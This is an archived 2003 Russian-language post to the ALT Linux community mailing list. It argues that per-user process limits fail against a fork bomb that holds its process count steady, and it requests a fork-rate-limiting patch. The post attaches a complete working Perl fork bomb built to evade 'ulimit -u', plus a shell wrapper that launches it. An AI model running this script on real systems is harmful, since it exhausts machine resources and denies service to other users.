ALT Linux Community general discussions
 help / color / mirror / Atom feed
From: mithraen@freesource.info (Denis Smirnov)
To: community@altlinux.ru
Subject: [Comm] anti fork-bomb
Date: Wed, 5 Mar 2003 22:20:53 +0300
Message-ID: <20030305192052.GA1379@mithraen-home> (raw)


[-- Attachment #1.1: Type: text/plain, Size: 657 bytes --]

Будет ли когда-нибудь в Мастере anti fork-bomb патч?

Дело в том, что лимита на количество процессов против правильно
сделаного fork-bomb недостаточно. Потому как если всё сделано правильно,
то количество непрерывно работающих процессов поддерживается на одном
уровне, и основная идея в том, чтобы пожирать ресурсы машины большим
количеством fork'ов.

Единственный способ, который я себе представляю для борьбы с такими
бомбами -- ограничение по количеству fork'ов в секунду на пользователя.

Простой пример подобной бомбы в аттаче -- у меня после этого
залогиниться в систему весьма тяжко.

-- 
С уважением, Денис

http://freesource.info

[-- Attachment #1.2: fork-bomb --]
[-- Type: text/plain, Size: 723 bytes --]

#!/usr/bin/perl -w

my $can_fork = 1;		# Можно ли делать повторный fork?
my $num_processes = shift || 32; # количество процессов

# Обработка завершения ребёнка
sub REAPER {
    wait;
    $can_fork = 1;
    $SIG{CHLD} = \&REAPER;  # loathe sysV
}

# Делаем fork, потом chikd завершается, а parent делает новый fork
sub eat_resources()
{
    while( 1 )
    {
	if( $can_fork )
	{
	    $can_fork = 0;
	    exit unless fork();
	}
    }
}


# Основная программа -- делаем указаное количество fork'ов, в каждом из
# которых запускаем пожиралку ресурсов
for( my $i = 0; $i < $num_processes; $i++ )
{
    if( !fork() )
    {
	$SIG{CHLD} = \&REAPER;
	eat_resources();
    }
}

while( 1 )
{
}

[-- Attachment #1.3: fork-bomb.text --]
[-- Type: text/plain, Size: 37 bytes --]

#!/bin/sh
ulimit -u 128

./fork-bomb

[-- Attachment #2: Type: application/pgp-signature, Size: 232 bytes --]

             reply	other threads:[~2003-03-05 19:20 UTC|newest]

Thread overview: 3+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2003-03-05 19:20 Denis Smirnov [this message]
2003-03-07  8:01 ` [Comm] " Michael Shigorin
2003-03-07 16:44   ` Denis Smirnov

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=20030305192052.GA1379@mithraen-home \
    --to=mithraen@freesource.info \
    --cc=community@altlinux.ru \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link

ALT Linux Community general discussions

This inbox may be cloned and mirrored by anyone:

	git clone --mirror http://lore.altlinux.org/community/0 community/git/0.git

	# If you have public-inbox 1.1+ installed, you may
	# initialize and index your mirror using the following commands:
	public-inbox-init -V2 community community/ http://lore.altlinux.org/community \
		mandrake-russian@linuxteam.iplabs.ru community@lists.altlinux.org community@lists.altlinux.ru community@lists.altlinux.com
	public-inbox-index community

Example config snippet for mirrors.
Newsgroup available over NNTP:
	nntp://lore.altlinux.org/org.altlinux.lists.community


AGPL code for this site: git clone https://public-inbox.org/public-inbox.git